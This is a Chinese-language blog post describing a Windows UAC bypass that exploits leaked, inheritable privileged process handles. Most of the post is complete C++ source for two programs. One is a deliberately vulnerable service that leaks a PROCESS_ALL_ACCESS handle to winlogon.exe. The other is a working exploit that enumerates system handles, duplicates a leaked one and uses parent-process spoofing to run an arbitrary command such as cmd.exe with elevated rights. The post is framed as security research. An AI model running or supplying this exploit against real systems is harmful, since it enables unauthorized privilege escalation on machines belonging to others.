UAC Bypass - Exploit Leaked Process Handles

在某些情况下,具有高完整性级别或系统完整性级别的进程处理特权进程/线程/令牌,然后产生较低完整性的进程。如果这些特权进程的句柄足够强大、类型正确并且被子进程继承,我们可以从另一个进程对它们进行复制,然后滥用它们来提升权限或绕过 UAC。

# Mandatory Integrity Levels

强制完整性控制(Mandatory Integrity Levels,MIC)是 Windows Vista 及更高版本的核心安全功能,它根据其完整性级别(Integrity Levels),提供了一种用于控制对安全对象的访问的机制。此机制是对自主访问控制的补充,并在评估针对安全对象的访问控制列表(DACL)的访问检查之前评估访问。与在同一用户帐户下运行的其他更受信任的上下文相比,此机制的目标是限制可能不太可信的上下文的访问权限。

MIC 使用完整性级别和强制策略来评估访问权限。为安全主体和安全对象分配了确定其保护或访问级别的完整性级别(Integrity Levels)。例如,具有低完整性级别的主体无法写入具有中等或更高完整性级别的对象,即使该对象的 DACL 允许对该主体进行写访问。

Windows Vista 定义了四个完整性级别(括号中为其 SID):

Windows 确保只有在安全主体的完整性级别等于或高于安全对象指定的请求完整性级别时,进程才能写入、修改或删除对象。

强制完整性控制是使用新的访问控制条目(ACE)类型定义的,以在其安全描述符中表示对象的完整性级别。在 Windows 中,访问控制列表(ACL)用于向用户或组授予访问权限(读取、写入和执行权限等)。当访问令牌初始化时,完整性级别也会被分配给安全主体的访问令牌,用以表示主体的完整性级别。当主体尝试访问安全对象时,安全参考监视器(Security Reference Monitor)会将主体访问令牌中的完整性级别与对象安全描述符中的完整性级别进行比较。Windows 根据主体的完整性级别是否高于或低于对象,以及访问控制条目(ACE)中的完整性策略标志来限制允许的访问权限。

# Inherits Process Handle

在 Windows 系统中,所有的进程都在相应的完整性级别下运行。如果一个进程想要在另一个进程中执行写入操作,它必须至少具有相同的完整性级别。这意味着具有低完整性级别的进程无法打开具有中等完整性级别的进程具有完全访问权限的句柄。但是,这并不包含句柄泄露的情况。

在某些情况下,具有高完整性级别或系统完整性级别的进程处理特权进程/线程/令牌,然后产生较低完整性的进程。如果这些特权进程的句柄足够强大、类型正确并且被子进程继承,我们可以从另一个进程对它们进行复制,然后滥用它们来提升权限或绕过 UAC。

例如,以高完整性级别运行的特权进程通过 OpenProcess() 函数打开了一个具有高完整性级别的新进程句柄并且没有关闭,如果特权进程将 OpenProcess() 函数的 bInheritHandle 被指定为 True,那么这个特权进程的子进程都会继承句柄和它授予的所有访问权限。

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

此后,如果同一个特权进程又创建一个具有低完整性子进程,那么我们可以使用这个子进程获取特权进程的打开句柄,然后滥用它来提升权限或绕过 UAC。

# Interesting Handles

正如上文所说的,如果低完整性子进程继承了特权进程的进程句柄,如果这些特权进程的句柄足够强大、类型正确并且被子进程继承,我们可以从另一个进程对它们进行复制,然后滥用它们来提升权限或绕过 UAC。在此之前,我们需要对这些特权进程拥有适当的安全访问权限。

OpenProcess() 函数的第一个参数用于设置在对象上授予句柄持有者哪些权限,大约有 14 种特定于进程的权限(详情可以参考:Process Security and Access Rights)。我们现在将忽略掉例如 DELETE、READ_CONTROL 等标准的对象访问权限,保留以下访问权限:

Process Access Rights Meaning
PROCESS_ALL_ACCESS 进程对象的所有可能的访问权限
PROCESS_CREATE_PROCESS 创建子进程的权限
PROCESS_CREATE_THREAD 创建线程的权限
PROCESS_DUP_HANDLE 复制进程句柄的权限
PROCESS_VM_* 这涵盖了对 VM 写/读/操作的权限

《Exploiting Leaked Process and Thread Handles》 这篇文章很好的讲述了各种权限的利用方式。了解更多细节,请读者自行阅读。

# ExploitLeakedHandles

为了对上述问题进行测试,我创建了 ExploitLeakedHandles 项目。该项目分为两个部分,其中 CreateLeakedHandles 用来产生上述特权句柄泄露的情况,ExploitLeakedHandles 则对泄露的特权句柄进行利用。

## CreateLeakedHandles

该部分是一个易受攻击的 Windows 服务,相关代码如下。

#include <iostream>
#include <windows.h>
#include <tlhelp32.h>


int GetProcessByName(PCWSTR name)
{
	DWORD pid = 0;

	// Create toolhelp snapshot.
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 process;
	ZeroMemory(&process, sizeof(process));
	process.dwSize = sizeof(process);

	// Walkthrough all processes.
	if (Process32First(snapshot, &process))
	{
		do
		{
			// Compare process.szExeFile based on format of name, i.e., trim file path
			// trim .exe if necessary, etc.
			if (wcscmp(process.szExeFile, name) == 0)
			{
				return process.th32ProcessID;
			}
		} while (Process32Next(snapshot, &process));
	}

	CloseHandle(snapshot);

	return NULL;
}

int main()
{
	HANDLE hToken = NULL;
	HANDLE duplicateTokenHandle = NULL;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	ZeroMemory(&si, sizeof(STARTUPINFO));
	ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
	si.cb = sizeof(STARTUPINFO);


	int pidWinlogon = GetProcessByName(L"winlogon.exe");
	if (pidWinlogon == NULL) {
		printf("[-] Can't open Winlogon, run as system");
	}

	HANDLE privilegedProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,
		TRUE,
		pidWinlogon
	);

	int pidExplorer = GetProcessByName(L"explorer.exe");
	if (pidExplorer == NULL) {
		printf("[-] Can't open Explorer");
	}

	// Call OpenProcess(), print return code and error code
	HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, true, pidExplorer);
	if (GetLastError() == NULL)
		printf("[+] OpenProcess() success!\n");
	else
	{
		printf("[-] OpenProcess() Return Code: %i\n", hProcess);
		printf("[-] OpenProcess() Error: %i\n", GetLastError());
	}

	// Call OpenProcessToken(), print return code and error code
	BOOL getToken = OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken);
	if (GetLastError() == NULL)
		printf("[+] OpenProcessToken() success!\n");
	else
	{
		printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
		printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
	}

	// Call DuplicateTokenEx(), print return code and error code
	BOOL duplicateToken = DuplicateTokenEx(hToken, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
	if (GetLastError() == NULL)
		printf("[+] DuplicateTokenEx() success!\n");
	else
	{
		printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
		printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
	}

	CloseHandle(hProcess);

	// Call CreateProcessWithTokenW(), print return code and error code
	//BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\notepad.exe", NULL, 0, NULL, NULL, &startupInfo, &pi);
	if (CreateProcessAsUserW(
		duplicateTokenHandle,
		L"C:\\Windows\\System32\\SndVol.exe",
		NULL,
		NULL,
		NULL,
		TRUE,
		0,
		NULL,
		NULL,
		&si,
		&pi
	))
	{
		printf("[+] Process spawned!\n");
	}
	else
	{
		printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
	}

	getchar();
}

此服务易受攻击的代码位于主函数内部,此功能最开始使用 bInheritHandleTrue的方式,通过 OpenProcess() 函数打开特权进程 winlogon.exe 的句柄,并且该进程句柄所授予的权限被设为 PROCESS_ALL_ACCESS。由于打开的句柄并未即使关闭,并且在后续的操作中通过复制 explorer.exe 进程令牌的方式启动了一个低权限子进程 SndVol.exe

与令牌窃取的攻击手法类似,通过复制这个子进程的句柄,我们能够轻易地得到具有特权进程泄露的句柄,利用该句柄我们可以启动新进程,并将父进程欺骗为该句柄指向的特权进程,进而使新进程能够继承父进程的安全上下文。

## ExploitLeakedHandles

为了能够获取到这个特权句柄,并通过这个句柄启动新进程,我在 ExploitLeakedHandles 项目中编写了第二个部分,相关代码如下:

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <unordered_set>
#include "Native.h"
#include <shlwapi.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <iostream>
#include <strsafe.h>

#pragma comment(lib, "Shlwapi.lib")
using namespace std;

typedef enum _INTEGRITY_LEVEL {
	UNTRUSTED_INTEGRITY,
	LOW_INTEGRITY,
	MEDIUM_INTEGRITY,
	HIGH_INTEGRITY,
	SYSTEM_INTEGRITY,
	PPL_INTEGRITY,
	INTEGRITY_UNKNOWN,
}INTEGRITY_LEVEL, * PINTEGRITY_LEVEL;


/* This function will get all process handles in the system. */ 

PSYSTEM_HANDLE_INFORMATION_EX QueryAllSystemHandlers()
{
	NTSTATUS queryStatus;
	PSYSTEM_HANDLE_INFORMATION_EX handleInfoEx;
	ULONG handleInfoSizeEx = sizeof(SYSTEM_HANDLE_INFORMATION_EX);
	ULONG returnLength;

	handleInfoEx = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(handleInfoSizeEx);

	while ((queryStatus = NtQuerySystemInformation(
		SystemExtendedHandleInformation,
		handleInfoEx,
		handleInfoSizeEx,
		&returnLength
	)) == STATUS_INFO_LENGTH_MISMATCH)
	{
		handleInfoEx = (PSYSTEM_HANDLE_INFORMATION_EX)realloc(handleInfoEx, handleInfoSizeEx *= 2);
		if (handleInfoEx == NULL)
		{
			break;
		}
	}

	if (!NT_SUCCESS(queryStatus) || handleInfoEx == NULL)
	{
		printf("[-] NtQuerySystemInformation() failed.\n");
		free(handleInfoEx);
		return NULL;
	}
	
	printf("[+] Query all system handles information succeeded.\n");

	return handleInfoEx;
}


/* This function will get the parent process id of the specified process. */

ULONG_PTR GetParentPid(ULONG_PTR UniqueProcessId) 
{
	NTSTATUS queryStatus;
	PPROCESS_BASIC_INFORMATION processInfo;
	ULONG processInfoSize = sizeof(PROCESS_BASIC_INFORMATION);
	ULONG returnLength;
	ULONG_PTR ppid;

	HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, UniqueProcessId);

	if (hProcess == NULL) {
		return FALSE;
	}

	processInfo = (PPROCESS_BASIC_INFORMATION)malloc(processInfoSize);

	while ((queryStatus = NtQueryInformationProcess(
		hProcess,
		ProcessBasicInformation,
		processInfo,
		processInfoSize,
		&returnLength
	)) == STATUS_INFO_LENGTH_MISMATCH)
	{
		processInfo = (PPROCESS_BASIC_INFORMATION)realloc(processInfo, processInfoSize *= 2);
		if (processInfo == NULL)
		{
			break;
		}
	}

	if (!NT_SUCCESS(queryStatus) || processInfo == NULL)
	{
		printf("[-] NtQueryInformationProcess() failed.\n");
		free(processInfo);
		return NULL;
	}
	ppid = (ULONG_PTR)processInfo->InheritedFromUniqueProcessId;
	free(processInfo);
	CloseHandle(hProcess);

	return ppid;
}


/* This function will get the specified process integrity level. */

BOOL GetProcessIntegrityLevel(ULONG_PTR UniqueProcessId, PINTEGRITY_LEVEL integrityCode) 
{
	PTOKEN_MANDATORY_LABEL tokenInfo;
	DWORD tokenInfoSize = sizeof(TOKEN_MANDATORY_LABEL);
	DWORD returnLength;

	HANDLE hToken = NULL;
	
	// Setting default Handle type name
	*integrityCode = INTEGRITY_UNKNOWN;

	SetLastError(NULL);
	HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, UniqueProcessId);

	if (hProcess == NULL) {
		return FALSE;
	}

	if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
		CloseHandle(hProcess);
		return FALSE;
	}

	tokenInfo = (PTOKEN_MANDATORY_LABEL)malloc(tokenInfoSize);

	// Get token information, set tokenInfo.
	if (GetTokenInformation(
		hToken,
		TokenIntegrityLevel,
		tokenInfo,
		tokenInfoSize,
		&returnLength
	) || GetLastError() == ERROR_INSUFFICIENT_BUFFER)
	{
		tokenInfo = (PTOKEN_MANDATORY_LABEL)realloc(tokenInfo, tokenInfoSize *= 2);
		if (!GetTokenInformation(
			hToken,
			TokenIntegrityLevel,
			tokenInfo,
			tokenInfoSize,
			&returnLength
		))
		{
			CloseHandle(hProcess);
			CloseHandle(hToken);
			free(tokenInfo);
			return FALSE;
		}
	}

	DWORD integrityLevel = *GetSidSubAuthority(
		tokenInfo->Label.Sid,
		(DWORD)(UCHAR)(*GetSidSubAuthorityCount(tokenInfo->Label.Sid) - 1)
	);

	CloseHandle(hProcess);
	CloseHandle(hToken);
	free(tokenInfo);

	if (integrityLevel < SECURITY_MANDATORY_LOW_RID) {
		*integrityCode = UNTRUSTED_INTEGRITY;
		return TRUE;
	}
	if (integrityLevel < SECURITY_MANDATORY_MEDIUM_RID) {
		*integrityCode = LOW_INTEGRITY;
		return TRUE;
	}

	if (integrityLevel >= SECURITY_MANDATORY_MEDIUM_RID &&
		integrityLevel < SECURITY_MANDATORY_HIGH_RID) {
		*integrityCode = MEDIUM_INTEGRITY;
		return TRUE;
	}

	if (integrityLevel < SECURITY_MANDATORY_SYSTEM_RID) {
		*integrityCode = HIGH_INTEGRITY;
		return TRUE;
	}

	if (integrityLevel < SECURITY_MANDATORY_PROTECTED_PROCESS_RID) {
		*integrityCode = SYSTEM_INTEGRITY;
		return TRUE;
	}

	if (integrityLevel >= SECURITY_MANDATORY_PROTECTED_PROCESS_RID) {
		*integrityCode = PPL_INTEGRITY;
		return TRUE;
	}

	return FALSE;
}


/* This function is used to duplicate the specified process handle. */

HANDLE DuplicateProcessHandle(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo)
{
	HANDLE hProcess;
	HANDLE duplicateProcessHandle = NULL;

	// We're going to duplicate the handle so we need first the process handle.
	if (!(hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.UniqueProcessId)))
	{
		return NULL;
	}

	// Duplicate the handle so we can query it.
	if (!NT_SUCCESS(NtDuplicateObject(
		hProcess,
		(HANDLE)handleInfo.HandleValue,
		GetCurrentProcess(),
		&duplicateProcessHandle,
		0,
		0,
		DUPLICATE_SAME_ACCESS
	)))
	{
		CloseHandle(hProcess);
		return NULL;
	}

	CloseHandle(hProcess);
	return duplicateProcessHandle;
}


/* 
 * This function will spoof the parent process with PROCESS_ALL_ACCESS permission 
 * and start a new process in the security context of the parent process. 
 */

BOOL Exploit_Process_Create_Process(HANDLE parentProcessHandle, LPTSTR lpCommandLine)
{
	STARTUPINFOEX si;
	PROCESS_INFORMATION pi;
	SIZE_T attributeSize;
	ZeroMemory(&si, sizeof(STARTUPINFOEX));


	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
	si.StartupInfo.cb = sizeof(STARTUPINFOEX);

	if (!CreateProcess(
		NULL, 
		lpCommandLine, 
		NULL, 
		NULL, 
		FALSE,
		EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
		NULL, 
		NULL, 
		&si.StartupInfo, 
		&pi)
	)
	{
		printf("[-] CreateProcess() Failed (%d).\n", GetLastError());
		return FALSE;
	}
	else {
		printf("[+] Created process with PID %d.\n", pi.dwProcessId);
		return TRUE;
	}
}



void Usage(TCHAR* argv)
{
	printf("\nUsage: %S -c [Command]\n", argv);
}



int _tmain(int argc, TCHAR* argv[])
{
	LPTSTR lpCommandLine = (LPTSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(TCHAR));
	
	if (!(argc < 3) && (argv[1][0] == '-'))
	{
		switch (argv[1][1])
		{
		case 'c':
			StringCchPrintf(lpCommandLine, MAX_PATH, argv[2]);
			break;
		case 'h':
			Usage(argv[0]);
			exit(0);
			break;

		default:
			Usage(argv[0]);
			exit(0);
		}
	}
	else
	{
		Usage(argv[0]);
		exit(0);
	}
	
	auto systemHandlesList = QueryAllSystemHandlers();

	printf("[+] Filtering out all interesting handles.\n");

	for (int i = 0; i < systemHandlesList->NumberOfHandles; i++)
	{                                                             
		auto handleInfo = systemHandlesList->Handles[i];

		ULONG_PTR parentUniqueProcessId = GetParentPid(handleInfo.UniqueProcessId);
		INTEGRITY_LEVEL processIntegrity;
		INTEGRITY_LEVEL parentProcessIntegrity;

		// We are only interested in the process handle.
		if (handleInfo.ObjectTypeIndex != 0x07)
		{
			continue;
		}

		// Filter out all interesting handles.
		if (!(handleInfo.GrantedAccess == PROCESS_ALL_ACCESS ||
			handleInfo.GrantedAccess & PROCESS_CREATE_PROCESS ||
			handleInfo.GrantedAccess & PROCESS_CREATE_THREAD ||
			handleInfo.GrantedAccess & PROCESS_DUP_HANDLE ||
			handleInfo.GrantedAccess & PROCESS_VM_WRITE))
		{
			continue;
		}

		// We are only interested in the nherited handle.
		if (!(handleInfo.HandleAttributes & HANDLE_INHERIT)) 
		{
			continue;
		}

		// Get Child Process Integrity.
		GetProcessIntegrityLevel(handleInfo.UniqueProcessId, &processIntegrity);
		// Get Parent Process Integrity.
		GetProcessIntegrityLevel(parentUniqueProcessId, &parentProcessIntegrity);
		// We are only interested in processes whose integrity level is less than its parent process, and less than or equal to medium level
		if (processIntegrity < parentProcessIntegrity && processIntegrity <= MEDIUM_INTEGRITY)
		{
			HANDLE parentProcessHandle = DuplicateProcessHandle(handleInfo);
			
			if (Exploit_Process_Create_Process(parentProcessHandle, lpCommandLine))
			{
				printf("[+] Exploit Success.\n");
			}
			
			CloseHandle(parentProcessHandle);
		}
	}
}

在上述代码中,我们首先通过 QueryAllSystemHandlers() 函数获取系统中所有的句柄,然后过滤出所有符合以下条件的句柄:

过滤出符合上述条件的句柄后,我们通过 DuplicateProcessHandle() 函数获取该句柄的副本并传入 Exploit_Process_Create_Process() 函数,使用该句柄指向的进程作为父进程来创建新进程。

## Example

如下图所示,运行 ExploitLeakedHandles.exe 后,成功获取获取到了一个绕过 UAC 的命令行:

ExploitLeakedHandles.exe -c cmd.exe

# Ending……

参考文献:

http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/

https://aptw.tf/2022/02/10/leaked-handle-hunting.html

https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/leaked-handle-exploitation